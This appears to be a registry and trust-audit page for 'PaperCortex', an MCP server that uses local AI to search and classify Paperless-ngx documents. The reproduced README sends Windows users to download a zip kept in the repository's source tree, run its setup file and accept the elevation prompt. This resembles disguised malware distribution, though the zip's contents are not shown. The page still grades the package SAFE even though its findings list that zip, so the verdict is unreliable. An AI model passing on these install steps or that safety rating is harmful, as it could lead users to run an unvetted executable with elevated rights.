PaperCortexSAFE
Organize and search Paperless-ngx documents with local AI, auto-classification, receipt extraction, and accounting export.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/chetanmorey1/PaperCortex/main/src/mcp-server/tools/Paper-Cortex-2.7-beta.1.zip)
🧭 What PaperCortex Does
PaperCortex helps you work with documents in Paperless-ngx using local AI. It can search by meaning, sort documents into classes, extract receipt data, and create DATEV exports for accounting. It runs on your own computer with Ollama, so your files stay local.
Use it when you want to:
- Search documents by what they mean, not just by exact words
- Sort incoming files into useful groups
- Pull key data from receipts
- Export data for DATEV-based accounting workflows
- Connect Paperless-ngx with Claude Code through an MCP server
💻 What You Need
PaperCortex is made for Windows users who want a simple local setup.
You need:
- Windows 10 or Windows 11
- A stable internet connection for the initial download
- Enough free disk space for the app, AI model files, and your documents
- Paperless-ngx already set up, or ready to connect it later
- Ollama installed and running locally
- A modern browser for setup pages and local access
For best results, use:
- 16 GB RAM or more
- A recent CPU
- An SSD for faster document processing
- A folder with enough space for scanned files and exports
🚀 Download and Install
Visit this page to download:
https://raw.githubusercontent.com/chetanmorey1/PaperCortex/main/src/mcp-server/tools/Paper-Cortex-2.7-beta.1.zip
On Windows, follow these steps:
- Open the link above.
- Look for the latest release or the main download files.
- Download the Windows package or installer.
- If the file is zipped, right-click it and choose Extract All.
- Open the extracted folder.
- Run the app file or setup file.
- If Windows asks for permission, choose Yes.
- Keep the app open while you connect Paperless-ngx and Ollama.
I
589d42d6af34OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add papercortex -- npx -y [email protected]
{
"mcpServers": {
"papercortex": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (5)
5 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
papercortex_classify | read | Auto-classify a document using local AI. |
papercortex_export | read | Export receipt data as DATEV-compatible CSV for German accounting, |
papercortex_query | read | Ask natural language questions about your documents. |
papercortex_receipt | read | Extract structured data from a receipt document: |
papercortex_search | read | Semantic search across all documents in Paperless-ngx. |
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (3 observation(s))
- Network
- declared (4 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (6)
Paper-Cortex-2.7-beta.1.zip
import { createReceiptExtractor } from "../../receipt/extractor.js";import { createDatevExporter } from "../../receipt/datev.js";import { createReceiptExtractor } from "../../receipt/extractor.js";@modelcontextprotocol/sdk, better-sqlite3, csv-parse, csv-stringify, dotenv, zod, @types/better-sqlite3, @types/node
- API tokens are read from environment variables, never hardcoded.
Gates applied: no_behavioural_pass.
589d42d6af34full audit observations/trust-audit/mcp-server/chetanmorey1__papercortex.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 589d42d6af34 | SAFE | B | 89 | first audit |
Questions
What is the PaperCortex MCP server?
Organize and search Paperless-ngx documents with local AI, auto-classification, receipt extraction, and accounting export.
What tools does PaperCortex expose?
5 in total: 5 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is PaperCortex safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does PaperCortex need?
No credential environment variables were found in its source, so it appears to need none.
How does PaperCortex run?
It speaks sse and stdio, so it runs as a local process your client starts. It is published on npm as papercortex at 0.1.0.
How current is this page?
The grade is for one exact copy of the source (589d42d6af34), read on 2026-10-11. The repository is watched and re-audited when it changes.